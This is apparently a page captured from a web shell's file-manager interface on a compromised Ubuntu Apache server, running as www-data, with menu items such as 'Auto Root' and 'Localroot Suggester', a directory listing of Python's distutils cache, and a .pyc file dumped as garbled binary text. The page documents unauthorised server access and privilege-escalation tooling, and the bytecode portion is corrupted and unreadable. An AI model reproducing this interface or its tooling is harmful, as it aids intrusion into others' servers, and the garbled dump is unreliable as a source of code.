Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.10 /
distutils /
__pycache__ /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.cpython-310.pyc
621
B
-rw-r--r--
2026-07-07 06:44
_msvccompiler.cpython-310.pyc
12.53
KB
-rw-r--r--
2024-02-17 03:45
archive_util.cpython-310.pyc
6.36
KB
-rw-r--r--
2024-02-17 03:45
bcppcompiler.cpython-310.pyc
6.34
KB
-rw-r--r--
2024-02-17 03:45
ccompiler.cpython-310.pyc
32.27
KB
-rw-r--r--
2024-02-17 03:45
cmd.cpython-310.pyc
13.57
KB
-rw-r--r--
2024-02-17 03:45
config.cpython-310.pyc
3.45
KB
-rw-r--r--
2024-02-17 03:45
core.cpython-310.pyc
6.45
KB
-rw-r--r--
2024-02-17 03:45
cygwinccompiler.cpython-310.pyc
8.26
KB
-rw-r--r--
2024-02-17 03:45
debug.cpython-310.pyc
197
B
-rw-r--r--
2024-02-17 03:45
dep_util.cpython-310.pyc
2.65
KB
-rw-r--r--
2024-02-17 03:45
dir_util.cpython-310.pyc
6.02
KB
-rw-r--r--
2024-02-17 03:45
dist.cpython-310.pyc
33.15
KB
-rw-r--r--
2024-02-17 03:45
errors.cpython-310.pyc
4.82
KB
-rw-r--r--
2024-02-17 03:45
extension.cpython-310.pyc
6.81
KB
-rw-r--r--
2024-02-17 03:45
fancy_getopt.cpython-310.pyc
10.33
KB
-rw-r--r--
2024-02-17 03:45
file_util.cpython-310.pyc
5.78
KB
-rw-r--r--
2024-02-17 03:45
filelist.cpython-310.pyc
9.6
KB
-rw-r--r--
2024-02-17 03:45
log.cpython-310.pyc
2.2
KB
-rw-r--r--
2024-02-17 03:45
msvc9compiler.cpython-310.pyc
17.1
KB
-rw-r--r--
2024-02-17 03:45
msvccompiler.cpython-310.pyc
14.38
KB
-rw-r--r--
2024-02-17 03:45
spawn.cpython-310.pyc
3.33
KB
-rw-r--r--
2024-02-17 03:45
sysconfig.cpython-310.pyc
7.59
KB
-rw-r--r--
2024-02-17 03:45
text_file.cpython-310.pyc
8.22
KB
-rw-r--r--
2024-02-17 03:45
unixccompiler.cpython-310.pyc
7.04
KB
-rw-r--r--
2024-02-17 03:45
util.cpython-310.pyc
15.27
KB
-rw-r--r--
2024-02-17 03:45
version.cpython-310.pyc
7.13
KB
-rw-r--r--
2026-07-07 06:44
versionpredicate.cpython-310.pyc
5.01
KB
-rw-r--r--
2024-02-17 03:45
Save
Rename
o ��bc � @ s� d Z ddlZddlZddlZe�dej�Ze�d�Ze�d�Z dd� Z ejejej ejejejd�ZG d d � d �Zdadd� ZdS ) zBModule for parsing and testing package version predicate strings. � Nz'(?i)^\s*([a-z_]\w*(?:\.[a-z_]\w*)*)(.*)z^\s*\((.*)\)\s*$z%^\s*(<=|>=|<|>|!=|==)\s*([^\s,]+)\s*$c C s6 t �| �}|s td| ��|�� \}}|tj�|�fS )zVParse a single version comparison. Return (comparison string, StrictVersion) z"bad package restriction syntax: %r)�re_splitComparison�match� ValueError�groups� distutils�version� StrictVersion)�pred�res�comp�verStr� r �1/usr/lib/python3.10/distutils/versionpredicate.py�splitUp s r )�<z<=z==�>z>=z!=c @ s( e Zd ZdZdd� Zdd� Zdd� ZdS ) �VersionPredicatea� Parse and test package version predicates. >>> v = VersionPredicate('pyepat.abc (>1.0, <3333.3a1, !=1555.1b3)') The `name` attribute provides the full dotted name that is given:: >>> v.name 'pyepat.abc' The str() of a `VersionPredicate` provides a normalized human-readable version of the expression:: >>> print(v) pyepat.abc (> 1.0, < 3333.3a1, != 1555.1b3) The `satisfied_by()` method can be used to determine with a given version number is included in the set described by the version restrictions:: >>> v.satisfied_by('1.1') True >>> v.satisfied_by('1.4') True >>> v.satisfied_by('1.0') False >>> v.satisfied_by('4444.4') False >>> v.satisfied_by('1555.1b3') False `VersionPredicate` is flexible in accepting extra whitespace:: >>> v = VersionPredicate(' pat( == 0.1 ) ') >>> v.name 'pat' >>> v.satisfied_by('0.1') True >>> v.satisfied_by('0.2') False If any version numbers passed in do not conform to the restrictions of `StrictVersion`, a `ValueError` is raised:: >>> v = VersionPredicate('p1.p2.p3.p4(>=1.0, <=1.3a1, !=1.2zb3)') Traceback (most recent call last): ... ValueError: invalid version number '1.2zb3' It the module or package name given does not conform to what's allowed as a legal module or package name, `ValueError` is raised:: >>> v = VersionPredicate('foo-bar') Traceback (most recent call last): ... ValueError: expected parenthesized list: '-bar' >>> v = VersionPredicate('foo bar (12.21)') Traceback (most recent call last): ... ValueError: expected parenthesized list: 'bar (12.21)' c C s� |� � }|s td��t�|�}|std| ��|�� \| _}|� � }|rMt�|�}|s1td| ��|�� d }dd� |�d�D �| _| jsKtd| ��d S g | _d S ) z*Parse a version predicate string. zempty package restrictionzbad package name in %rzexpected parenthesized list: %rr c S s g | ]}t |��qS r )r )�.0�aPredr r r � <listcomp>t s z-VersionPredicate.__init__.<locals>.<listcomp>�,zempty parenthesized list in %rN) �stripr �re_validPackager r �name�re_paren�splitr )�self�versionPredicateStrr �paren�strr r r �__init__` s( �� zVersionPredicate.__init__c C s4 | j rdd� | j D �}| jd d�|� d S | jS )Nc S s g | ]\}}|d t |� �qS )� )r )r �cond�verr r r r } s z,VersionPredicate.__str__.<locals>.<listcomp>z (z, �))r r �join)r �seqr r r �__str__{ s zVersionPredicate.__str__c C s( | j D ]\}}t| ||�s dS qdS )z�True if version is compatible with all the predicates in self. The parameter version must be acceptable to the StrictVersion constructor. It may be either a string or StrictVersion. FT)r �compmap)r r r"